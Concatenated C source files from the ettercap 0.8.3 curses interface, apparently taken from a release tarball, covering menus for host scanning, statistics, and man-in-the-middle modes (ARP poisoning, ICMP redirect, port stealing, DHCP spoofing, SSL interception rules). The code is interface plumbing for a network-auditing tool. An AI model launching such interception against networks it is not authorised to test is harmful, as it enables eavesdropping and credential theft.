later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* proto */ static void toggle_resolve(void); static void curses_show_stats(void); static void curses_stop_stats(void); static void refresh_stats(void); static void curses_vis_method(void); static void curses_set_method(void); static void curses_vis_regex(void); static void curses_set_regex(void); static void curses_wifi_key(void); static void curses_set_wifikey(void); extern void curses_show_profiles(void); extern void curses_show_connections(void); /* globals */ static char tag_resolve[] = " "; static wdg_t *wdg_stats; #define VLEN 8 static char vmethod[VLEN]; #define RLEN 50 static char vregex[RLEN]; #define WLEN 70 static char wkey[WLEN]; struct wdg_menu menu_view[] = { {"View", 'V', "", NULL}, {"Connections", 'C', "C", curses_show_connections}, {"Profiles", 'O', "O", curses_show_profiles}, {"Statistics", 's', "s", curses_show_stats}, {"-", 0, "", NULL}, {"Resolve IP addresses", 0, tag_resolve, toggle_resolve}, {"Visualization method...", 'v', "v", curses_vis_method}, {"Visualization regex...", 'R', "R", curses_vis_regex}, {"-", 0, "", NULL}, {"Set the WiFi key...", 'w', "w", curses_wifi_key}, {NULL, 0, NULL, NULL}, }; /*******************************************/ /* * If this option is being activated, * it runs through the current hosts list and triggeres * name resolution in the background. * That way subsequent actions benefits from the filled cache */ static void toggle_resolve(void) { char name[MAX_HOSTNAME_LEN]; struct hosts_list *hl; /* resolution already set */ if (EC_GBL_OPTIONS->resolve) { tag_resolve[0] = ' '; EC_GBL_OPTIONS->resolve = 0; resolv_thread_fini(); return; } DEBUG_MSG("toggle_resolve: activate name resolution"); /* set the option and activate resolution threads */ tag_resolve[0] = '*'; EC_GBL_OPTIONS->resolve = 1; resolv_thread_init(); /* run through the current hosts list and trigger resolution */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { if (hl->hostname) continue; host_iptoa(&hl->ip, name); } } /* * display the statistics windows */ static void curses_show_stats(void) { DEBUG_MSG("curses_show_stats"); /* if the object already exist, set the focus to it */ if (wdg_stats) { wdg_set_focus(wdg_stats); return; } wdg_create_object(&wdg_stats, WDG_WINDOW, WDG_OBJ_WANT_FOCUS); wdg_set_title(wdg_stats, "Statistics:", WDG_ALIGN_LEFT); wdg_set_size(wdg_stats, 1, 2, 70, 21); wdg_set_color(wdg_stats, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_stats, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_stats, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_stats, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_stats, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_draw_object(wdg_stats); wdg_set_focus(wdg_stats); /* display the stats */ refresh_stats(); /* add the callback on idle to refresh the stats */ wdg_add_idle_callback(refresh_stats); /* add the destroy callback */ wdg_add_destroy_key(wdg_stats, CTRL('Q'), curses_stop_stats); } static void curses_stop_stats(void) { DEBUG_MSG("curses_stop_stats"); wdg_del_idle_callback(refresh_stats); /* the object does not exist anymore */ wdg_stats = NULL; } static void refresh_stats(void) { /* if not focused don't refresh it */ if (!(wdg_stats->flags & WDG_OBJ_FOCUSED)) return; wdg_window_print(wdg_stats, 1, 1, "Received packets : %8lld", EC_GBL_STATS->ps_recv); wdg_window_print(wdg_stats, 1, 2, "Dropped packets : %8lld %.2f %% ", EC_GBL_STATS->ps_drop, (EC_GBL_STATS->ps_recv) ? (float)EC_GBL_STATS->ps_drop * 100 / EC_GBL_STATS->ps_recv : 0 ); wdg_window_print(wdg_stats, 1, 3, "Forwarded packets : %8lld bytes: %8lld ", EC_GBL_STATS->ps_sent, EC_GBL_STATS->bs_sent); wdg_window_print(wdg_stats, 1, 5, "Current queue len : %d/%d ", EC_GBL_STATS->queue_curr, EC_GBL_STATS->queue_max); wdg_window_print(wdg_stats, 1, 6, "Sampling rate : %d ", EC_GBL_CONF->sampling_rate); wdg_window_print(wdg_stats, 1, 8, "Bottom Half received packet : pck: %8lld bytes: %8lld", EC_GBL_STATS->bh.pck_recv, EC_GBL_STATS->bh.pck_size); wdg_window_print(wdg_stats, 1, 9, "Top Half received packet : pck: %8lld bytes: %8lld", EC_GBL_STATS->th.pck_recv, EC_GBL_STATS->th.pck_size); wdg_window_print(wdg_stats, 1, 10, "Interesting packets : %.2f %% ", (EC_GBL_STATS->bh.pck_recv) ? (float)EC_GBL_STATS->th.pck_recv * 100 / EC_GBL_STATS->bh.pck_recv : 0 ); wdg_window_print(wdg_stats, 1, 12, "Bottom Half packet rate : worst: %8d adv: %8d p/s", EC_GBL_STATS->bh.rate_worst, EC_GBL_STATS->bh.rate_adv); wdg_window_print(wdg_stats, 1, 13, "Top Half packet rate : worst: %8d adv: %8d p/s", EC_GBL_STATS->th.rate_worst, EC_GBL_STATS->th.rate_adv); wdg_window_print(wdg_stats, 1, 14, "Bottom Half throughput : worst: %8d adv: %8d b/s", EC_GBL_STATS->bh.thru_worst, EC_GBL_STATS->bh.thru_adv); wdg_window_print(wdg_stats, 1, 15, "Top Half throughput : worst: %8d adv: %8d b/s", EC_GBL_STATS->th.thru_worst, EC_GBL_STATS->th.thru_adv); } /* * change the visualization method */ static void curses_vis_method(void) { DEBUG_MSG("curses_vis_method"); curses_input("Visualization method :", vmethod, VLEN, curses_set_method); } static void curses_set_method(void) { set_format(vmethod); } /* * change the visualization regex */ static void curses_vis_regex(void) { DEBUG_MSG("curses_vis_regex"); curses_input("Visualization regex :", vregex, RLEN, curses_set_regex); } static void curses_set_regex(void) { set_regex(vregex); } /* * change the WiFi key for wifi */ static void curses_wifi_key(void) { DEBUG_MSG("curses_wifi_key"); curses_input("WiFi key :", wkey, WLEN, curses_set_wifikey); } static void curses_set_wifikey(void) { wifi_key_prepare(wkey); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_hosts.c0000644000175000017500000002332313505247364022754 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* proto */ #ifdef WITH_IPV6 static void toggle_ip6scan(void); #endif static void curses_scan(void); static void curses_load_hosts(void); static void load_hosts(const char *path, char *file); static void curses_save_hosts(void); static void save_hosts(void); static void curses_host_list(void); static void curses_hosts_destroy(void); static void curses_create_hosts_array(void); static void curses_delete_host(void *host); static void curses_host_target1(void *host); static void curses_host_target2(void *host); static void curses_hosts_help(void *dummy); /* globals */ #ifdef WITH_IPV6 static char tag_ip6scan[] = " "; #endif static wdg_t *wdg_hosts; static struct wdg_list *wdg_hosts_elements; struct wdg_menu menu_hosts[] = { {"Hosts", 'H', "", NULL}, {"Hosts list", 'h', "h", curses_host_list}, {"-", 0, "", NULL}, #ifdef WITH_IPV6 {"Enable IPv6 scan", 0, tag_ip6scan, toggle_ip6scan}, #endif {"Scan for hosts", CTRL('S'), "C-s", curses_scan}, {"Load from file...", 0, "", curses_load_hosts}, {"Save to file...", 0, "", curses_save_hosts}, {NULL, 0, NULL, NULL}, }; /*******************************************/ #ifdef WITH_IPV6 static void toggle_ip6scan(void) { if (EC_GBL_OPTIONS->ip6scan) { tag_ip6scan[0] = ' '; EC_GBL_OPTIONS->ip6scan = 0; } else { tag_ip6scan[0] = '*'; EC_GBL_OPTIONS->ip6scan = 1; } } #endif /* * scan the lan for hosts */ static void curses_scan(void) { /* no target defined... force a full scan */ if (EC_GBL_TARGET1->all_ip && EC_GBL_TARGET2->all_ip && EC_GBL_TARGET1->all_ip6 && EC_GBL_TARGET2->all_ip6 && !EC_GBL_TARGET1->scan_all && !EC_GBL_TARGET2->scan_all) { EC_GBL_TARGET1->scan_all = 1; EC_GBL_TARGET2->scan_all = 1; } /* perform a new scan */ build_hosts_list(); } /* * display the file open dialog */ static void curses_load_hosts(void) { wdg_t *fop; DEBUG_MSG("curses_load_hosts"); wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(fop, "Select an hosts file...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(fop, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, load_hosts); wdg_draw_object(fop); wdg_set_focus(fop); } static void load_hosts(const char *path, char *file) { char *tmp; char current[PATH_MAX]; DEBUG_MSG("load_hosts %s/%s", path, file); SAFE_CALLOC(tmp, strlen(path)+strlen(file)+2, sizeof(char)); /* get the current working directory */ getcwd(current, PATH_MAX); /* we are opening a file in the current dir. * use the relative path, so we can open files * in the current dir even if the complete path * is not traversable with ec_uid permissions */ if (!strcmp(current, path)) sprintf(tmp, "./%s", file); else sprintf(tmp, "%s/%s", path, file); /* wipe the current list */ del_hosts_list(); /* load the hosts list */ scan_load_hosts(tmp); SAFE_FREE(tmp); curses_host_list(); } /* * display the write file menu */ static void curses_save_hosts(void) { #define FILE_LEN 40 DEBUG_MSG("curses_save_hosts"); SAFE_FREE(EC_GBL_OPTIONS->hostsfile); SAFE_CALLOC(EC_GBL_OPTIONS->hostsfile, FILE_LEN, sizeof(char)); curses_input("Output file :", EC_GBL_OPTIONS->hostsfile, FILE_LEN, save_hosts); } static void save_hosts(void) { FILE *f; /* check if the file is writeable */ f = fopen(EC_GBL_OPTIONS->hostsfile, "w"); if (f == NULL) { ui_error("Cannot write %s", EC_GBL_OPTIONS->hostsfile); SAFE_FREE(EC_GBL_OPTIONS->hostsfile); return; } /* if ok, delete it */ fclose(f); unlink(EC_GBL_OPTIONS->hostsfile); scan_save_hosts(EC_GBL_OPTIONS->hostsfile); } /* * display the host list */ static void curses_host_list(void) { DEBUG_MSG("curses_host_list"); /* if the object already exist, recreate it */ if (wdg_hosts) { wdg_destroy_object(&wdg_hosts); } wdg_create_object(&wdg_hosts, WDG_LIST, WDG_OBJ_WANT_FOCUS); wdg_set_size(wdg_hosts, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_title(wdg_hosts, "Hosts list...", WDG_ALIGN_LEFT); wdg_set_color(wdg_hosts, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_hosts, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_hosts, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_hosts, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_hosts, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* create the array for the list widget */ curses_create_hosts_array(); /* set the elements */ wdg_list_set_elements(wdg_hosts, wdg_hosts_elements); /* add the destroy callback */ wdg_add_destroy_key(wdg_hosts, CTRL('Q'), curses_hosts_destroy); /* add the callbacks */ wdg_list_add_callback(wdg_hosts, 'd', curses_delete_host); wdg_list_add_callback(wdg_hosts, '1', curses_host_target1); wdg_list_add_callback(wdg_hosts, '2', curses_host_target2); wdg_list_add_callback(wdg_hosts, ' ', curses_hosts_help); wdg_draw_object(wdg_hosts); wdg_set_focus(wdg_hosts); } static void curses_hosts_destroy(void) { wdg_hosts = NULL; } void curses_hosts_update() { if(wdg_hosts) curses_host_list(); } static void curses_hosts_help(void *dummy) { /* variable not used */ (void) dummy; char help[] = "HELP: shortcut list:\n\n" " d - to delete an host from the list\n" " 1 - to add the host to TARGET1\n" " 2 - to add the host to TARGET2"; curses_message(help); } /* * create the array for the widget. * erase any previously alloc'd array */ static void curses_create_hosts_array(void) { int i = 0; struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; char name[MAX_HOSTNAME_LEN]; size_t nhosts; #define MAX_DESC_LEN MAX_ASCII_ADDR_LEN*2 + MAX_HOSTNAME_LEN + 4 DEBUG_MSG("curses_create_hosts_array"); /* free the array (if alloc'ed) */ while (wdg_hosts_elements && wdg_hosts_elements[i].desc != NULL) { SAFE_FREE(wdg_hosts_elements[i].desc); i++; } SAFE_FREE(wdg_hosts_elements); nhosts = 0; /* walk the hosts list */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { /* enlarge the array */ SAFE_REALLOC(wdg_hosts_elements, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN + 1, sizeof(char)); /* print the description in the array */ if (hl->hostname) { snprintf(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN, "%-15s %17s %s", ip_addr_ntoa(&hl->ip, tmp), mac_addr_ntoa(hl->mac, tmp2), hl->hostname); } else { /* resolve the hostname (using the cache) */ host_iptoa(&hl->ip, name); snprintf(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN, "%-15s %17s %s", ip_addr_ntoa(&hl->ip, tmp), mac_addr_ntoa(hl->mac, tmp2), name); } wdg_hosts_elements[nhosts].value = hl; nhosts++; } /* null terminate the array */ SAFE_REALLOC(wdg_hosts_elements, (nhosts + 1) * sizeof(struct wdg_list)); wdg_hosts_elements[nhosts].desc = NULL; wdg_hosts_elements[nhosts].value = NULL; } /* * deletes one host from the list */ static void curses_delete_host(void *host) { struct hosts_list *hl; /* sanity check */ if (host == NULL) return; /* cast the parameter */ hl = (struct hosts_list *)host; /* remove the host from the list */ LIST_REMOVE(hl, next); SAFE_FREE(hl->hostname); SAFE_FREE(hl); /* redraw the window */ curses_host_list(); } /* * add an host to TARGET 1 */ static void curses_host_target1(void *host) { struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("curses_host_target1"); /* cast the parameter */ hl = (struct hosts_list *)host; /* add the ip to the target */ add_ip_list(&hl->ip, EC_GBL_TARGET1); USER_MSG("Host %s added to TARGET1\n", ip_addr_ntoa(&hl->ip, tmp)); } /* * add an host to TARGET 2 */ static void curses_host_target2(void *host) { struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("curses_host_target2"); /* cast the parameter */ hl = (struct hosts_list *)host; /* add the ip to the target */ add_ip_list(&hl->ip, EC_GBL_TARGET2); USER_MSG("Host %s added to TARGET2\n", ip_addr_ntoa(&hl->ip, tmp)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_mitm.c0000644000175000017500000003555213505247364022571 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* proto */ static void curses_arp_poisoning(void); static void curses_icmp_redir(void); static void curses_port_stealing(void); static void curses_dhcp_spoofing(void); #ifdef WITH_IPV6 static void curses_ndp_poisoning(void); #endif static void curses_start_mitm(void); static void curses_mitm_stop(void); static void curses_sslredir_show(void); static void curses_sslredir_create_lists(void); static void curses_sslredir_destroy(void); static void curses_sslredir_update(void); static void curses_sslredir_add_list(struct redir_entry *re); static void curses_sslredir_add_service(struct serv_entry *se); static void curses_sslredir_add(void *dummy); static void curses_sslredir_add_rule(void); static void curses_sslredir_del(void *dummy); static void curses_sslredir_help(void *dummy); /* globals */ #define PARAMS_LEN 64 #define MAX_DESC_LEN 75 static char params[PARAMS_LEN]; struct wdg_menu menu_mitm[] = { {"Mitm", 'M', "", NULL}, {"ARP poisoning...", 0, "", curses_arp_poisoning}, {"ICMP redirect...", 0, "", curses_icmp_redir}, {"PORT stealing...", 0, "", curses_port_stealing}, {"DHCP spoofing...", 0, "", curses_dhcp_spoofing}, #ifdef WITH_IPV6 {"NDP poisoning...", 0, "", curses_ndp_poisoning}, #endif {"-", 0, "", NULL}, {"Stop mitm attack(s)", 0, "", curses_mitm_stop}, {"-", 0, "", NULL}, {"SSL Intercept", 0, "", curses_sslredir_show}, {NULL, 0, NULL, NULL}, }; static wdg_t *wdg_redirect = NULL; static struct wdg_list *wdg_redirect_elements = NULL; static struct wdg_list *wdg_redirect_services = NULL; static size_t n_redir = 0; static size_t n_serv = 0; static char redir_proto[5] = "ipv4"; static char redir_name[50] = "ftps"; static char redir_source[MAX_ASCII_ADDR_LEN] = "0.0.0.0/0"; static char redir_destination[MAX_ASCII_ADDR_LEN] = "0.0.0.0/0"; /*******************************************/ static void curses_arp_poisoning(void) { char *method = "arp:"; char *default_param = "remote"; size_t len = strlen(method); DEBUG_MSG("curses_arp_poisoning"); snprintf(params, PARAMS_LEN, "%s%s", method, default_param); curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } static void curses_icmp_redir(void) { char *method = "icmp:"; size_t len = strlen(method); DEBUG_MSG("curses_icmp_redir"); strncpy(params, method, len); curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } static void curses_port_stealing(void) { char *method = "port:"; size_t len = strlen(method); DEBUG_MSG("curses_port_stealing"); strncpy(params, method, len); curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } static void curses_dhcp_spoofing(void) { char *method = "dhcp:"; size_t len = strlen(method); DEBUG_MSG("curses_dhcp_spoofing"); strncpy(params, method, len); curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } #ifdef WITH_IPV6 static void curses_ndp_poisoning(void) { char *method = "ndp:"; char *default_param = "remote"; size_t len = strlen(method); DEBUG_MSG("curses_ndp_poisoning"); snprintf(params, PARAMS_LEN, "%s%s", method, default_param); curses_input("Parameters :", params + len, PARAMS_LEN - len - 1, curses_start_mitm); } #endif /* * start the mitm attack by passing the name and parameters */ static void curses_start_mitm(void) { DEBUG_MSG("curses_start_mitm"); mitm_set(params); mitm_start(); } /* * stop all the mitm attack(s) */ static void curses_mitm_stop(void) { wdg_t *dlg; DEBUG_MSG("curses_mitm_stop"); /* create the dialog */ wdg_create_object(&dlg, WDG_DIALOG, WDG_OBJ_WANT_FOCUS); wdg_set_color(dlg, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(dlg, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(dlg, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_dialog_text(dlg, WDG_NO_BUTTONS, "Stopping the mitm attack..."); wdg_draw_object(dlg); wdg_set_focus(dlg); wdg_update_screen(); /* stop the mitm process */ mitm_stop(); wdg_destroy_object(&dlg); curses_message("MITM attack(s) stopped"); } /* * build SSL Redir window */ static void curses_sslredir_show(void) { DEBUG_MSG("curses_sslredir_show()"); /* create the array for the list widget */ curses_sslredir_create_lists(); /* if the object already exists, set the focus to it */ if (wdg_redirect) { /* set the new array */ wdg_list_set_elements(wdg_redirect, wdg_redirect_elements); return; } wdg_create_object(&wdg_redirect, WDG_LIST, WDG_OBJ_WANT_FOCUS); wdg_set_size(wdg_redirect, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_title(wdg_redirect, "Delete or Insert SSL Intercept rules", WDG_ALIGN_LEFT); wdg_set_color(wdg_redirect, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_redirect, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_redirect, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_redirect, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_redirect, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* set the elements */ wdg_list_set_elements(wdg_redirect, wdg_redirect_elements); /* add the destroy callback */ wdg_add_destroy_key(wdg_redirect, KEY_ESC, curses_sslredir_destroy); /* add the insert and delete callback */ wdg_list_add_callback(wdg_redirect, KEY_IC, curses_sslredir_add); wdg_list_add_callback(wdg_redirect, KEY_DC, curses_sslredir_del); wdg_list_add_callback(wdg_redirect, ' ', curses_sslredir_help); wdg_draw_object(wdg_redirect); wdg_set_focus(wdg_redirect); } static void curses_sslredir_destroy(void) { wdg_redirect = NULL; } static void curses_sslredir_help(void *dummy) { /* varable not used */ (void) dummy; char help[] = "HELP: shortcut list:\n\n" " INSERT - insert a new redirect rule\n" " DELETE - delete a redirect rule"; curses_message(help); } /* * dialog to add new redirect rule */ static void curses_sslredir_add(void *dummy) { wdg_t *wdg_input; DEBUG_MSG("curses_sslredir_add()"); /* unused variable */ (void) dummy; wdg_create_object(&wdg_input, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_color(wdg_input, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_input, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_input, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_input, WDG_COLOR_TITLE, EC_COLOR_MENU); wdg_input_size(wdg_input, strlen("Destination: ") + MAX_ASCII_ADDR_LEN, 6); wdg_input_add(wdg_input, 1, 1, "IP Version: ", redir_proto, 5, 1); wdg_input_add(wdg_input, 1, 2, "Source: ", redir_source, MAX_ASCII_ADDR_LEN, 1); wdg_input_add(wdg_input, 1, 3, "Destination: ", redir_destination, MAX_ASCII_ADDR_LEN, 1); wdg_input_add(wdg_input, 1, 4, "Service: ", redir_name, 10, 1); wdg_input_set_callback(wdg_input, curses_sslredir_add_rule); wdg_draw_object(wdg_input); wdg_set_focus(wdg_input); } /* * callback inserting the actual rule */ static void curses_sslredir_add_rule(void) { int ret; size_t len, new_len, i = 0; struct serv_entry *se = NULL; ec_redir_proto_t proto; char *services_available = NULL; DEBUG_MSG("curses_sslredir_add_rule()"); /* check ip version string */ if (!strcasecmp(redir_proto, "ipv4")) proto = EC_REDIR_PROTO_IPV4; else if (!strcasecmp(redir_proto, "ipv6")) proto = EC_REDIR_PROTO_IPV6; else { DEBUG_MSG("curses_sslredir_add_rule(): '%s' invalid IP version string", redir_proto); #ifdef WITH_IPV6 curses_message("Invalid IP version string. Use either \"ipv4\" or " "\"ipv6\".\n"); #else curses_message("Invalid IP version string. Use \"ipv4\".\n"); #endif return; } /* check service name */ if (wdg_redirect_services == NULL) { DEBUG_MSG("curses_sslredir_add_rule(): " "no redirect services registered"); INSTANT_USER_MSG("No redirect services registered. " "Is SSL redirection enabled in etter.conf?"); return; } while (wdg_redirect_services[i].desc != NULL) { if (!strcasecmp(redir_name, wdg_redirect_services[i].desc)) { se = (struct serv_entry *) wdg_redirect_services[i].value; break; } i++; } /* redirect name not found - display available redirects */ if (se == NULL) { services_available = strdup("Services available: \n"); for (i=0; i < n_serv; i++) { len = strlen(services_available); new_len = len+strlen(wdg_redirect_services[i].desc)+4+1; SAFE_REALLOC(services_available, new_len); snprintf(services_available+len, new_len, " * %s\n", wdg_redirect_services[i].desc); } curses_message(services_available); SAFE_FREE(services_available); return; } /* do the actual redirect insertion */ ret = ec_redirect(EC_REDIR_ACTION_INSERT, se->name, proto, redir_source, redir_destination, se->from_port, se->to_port); /* inform user if redirect insertion wasn't successful */ if (ret != E_SUCCESS) { DEBUG_MSG("calling ec_redirect('%s', '%s', '%s', '%s', '%s', '%d', '%d'" " failed", "insert", se->name, redir_proto, redir_source, redir_destination, se->from_port, se->to_port); INSTANT_USER_MSG("Inserting redirect for %s/%s failed!\n", redir_proto, redir_name); } /* update redirect list */ curses_sslredir_update(); } /* * callback to delete a certain redirect rule */ static void curses_sslredir_del(void *dummy) { struct redir_entry *re; int ret; DEBUG_MSG("curses_sslredir_del()"); /* prevent the selection when the list is empty */ if (dummy == NULL) return; /* remove the redirect */ re = (struct redir_entry *)dummy; ret = ec_redirect(EC_REDIR_ACTION_REMOVE, re->name, re->proto, re->source, re->destination, re->from_port, re->to_port); if (ret != E_SUCCESS) { DEBUG_MSG("calling ec_redirect('%s', '%s', '%s', '%s', '%s', '%d', '%d'" " failed", "remove", re->name, (re->proto == EC_REDIR_PROTO_IPV4 ? "ipv4" : "ipv6"), re->source, re->destination, re->from_port, re->to_port); INSTANT_USER_MSG("Removing redirect for %s/%s failed!\n", (re->proto == EC_REDIR_PROTO_IPV4 ? "ipv4" : "ipv6"), re->name); return; } curses_sslredir_update(); } static void curses_sslredir_create_lists(void) { int res, i = 0; DEBUG_MSG("curses_sslredir_create_lists()"); /* free the array (if allocated */ while (wdg_redirect_elements && wdg_redirect_elements[i].desc != NULL) { SAFE_FREE(wdg_redirect_elements[i].desc); i++; } SAFE_FREE(wdg_redirect_elements); n_redir = 0; /* walk through the redirect rules */ ec_walk_redirects(&curses_sslredir_add_list); /* services are only gathered once */ if (wdg_redirect_services != NULL) return; /* walk through the registered services */ res = ec_walk_redirect_services(&curses_sslredir_add_service); if (res == -E_NOTFOUND) { SAFE_CALLOC(wdg_redirect_elements, 1, sizeof(struct wdg_list)); wdg_redirect_elements->desc = "No rules found. " "Redirects may be not enalbed in etter.conf?"; } } static void curses_sslredir_add_list(struct redir_entry *re) { /* enlarge the array */ SAFE_REALLOC(wdg_redirect_elements, (n_redir+1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_redirect_elements[n_redir].desc, MAX_DESC_LEN, sizeof(char)); snprintf(wdg_redirect_elements[n_redir].desc, MAX_DESC_LEN, "%s %30s %30s %s", (re->proto == EC_REDIR_PROTO_IPV4 ? "ipv4" : "ipv6"), re->source, re->destination, re->name); wdg_redirect_elements[n_redir].value = re; n_redir++; /* allocate new entry in list to move the NULL element */ SAFE_REALLOC(wdg_redirect_elements, (n_redir+1) * sizeof(struct wdg_list)); wdg_redirect_elements[n_redir].desc = NULL; wdg_redirect_elements[n_redir].value = NULL; } /* * populate array for available services */ static void curses_sslredir_add_service(struct serv_entry *se) { DEBUG_MSG("curses_sslredir_add_service()"); /* enlarge the array */ SAFE_REALLOC(wdg_redirect_services, (n_serv+1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_redirect_services[n_serv].desc, MAX_DESC_LEN, sizeof(char)); snprintf(wdg_redirect_services[n_serv].desc, MAX_DESC_LEN, "%s", se->name); wdg_redirect_services[n_serv].value = se; n_serv++; /* allocate new entry in list to move the NULL element */ SAFE_REALLOC(wdg_redirect_services, (n_serv+1) * sizeof(struct wdg_list)); wdg_redirect_services[n_serv].desc = NULL; wdg_redirect_services[n_serv].value = NULL; } /* * refresh redirects list */ static void curses_sslredir_update(void) { int i = 0; DEBUG_MSG("curses_sslredir_update()"); /* rebuild array */ while (wdg_redirect_elements && wdg_redirect_elements[i].desc != NULL) { SAFE_FREE(wdg_redirect_elements[i].desc); i++; } SAFE_FREE(wdg_redirect_elements); n_redir = 0; ec_walk_redirects(&curses_sslredir_add_list); /* NULL terminate the array in case it's empty */ if (wdg_redirect_elements == NULL) { SAFE_CALLOC(wdg_redirect_elements, 1, sizeof(struct wdg_list)); wdg_redirect_elements[0].desc = NULL; wdg_redirect_elements[0].value = NULL; } /* refresh list widget */ wdg_list_set_elements(wdg_redirect, wdg_redirect_elements); wdg_list_refresh(wdg_redirect); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_view_connections.c0000644000175000017500000005344613505247364025201 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include /* proto */ void curses_show_connections(void); static void curses_kill_connections(void); static void refresh_connections(void); static void curses_connection_detail(void *conn); static void curses_connection_data(void *conn); static void curses_connection_data_split(void); static void curses_connection_data_join(void); static void curses_destroy_conndata(void); static void split_print(u_char *text, size_t len, struct ip_addr *L3_src); static void split_print_po(struct packet_object *po); static void join_print(u_char *text, size_t len, struct ip_addr *L3_src); static void join_print_po(struct packet_object *po); static void curses_connection_kill(void *conn); static void curses_connection_purge(void *conn); static void curses_connection_kill_wrapper(void); static void curses_connection_inject(void); static void inject_user(void); static void curses_connection_inject_file(void); static void inject_file(const char *path, char *file); static void curses_connection_help(void *dummy); static void curses_connection_data_help(void); /* globals */ static wdg_t *wdg_connections, *wdg_conn_detail; static wdg_t *wdg_conndata, *wdg_c1, *wdg_c2, *wdg_join; static struct conn_object *curr_conn; /* keep it global, so the memory region is always the same (reallocing it) */ static u_char *dispbuf; static u_char *injectbuf; /*******************************************/ /* * the auto-refreshing list of connections */ void curses_show_connections(void) { DEBUG_MSG("curses_show_connections"); /* if the object already exist, set the 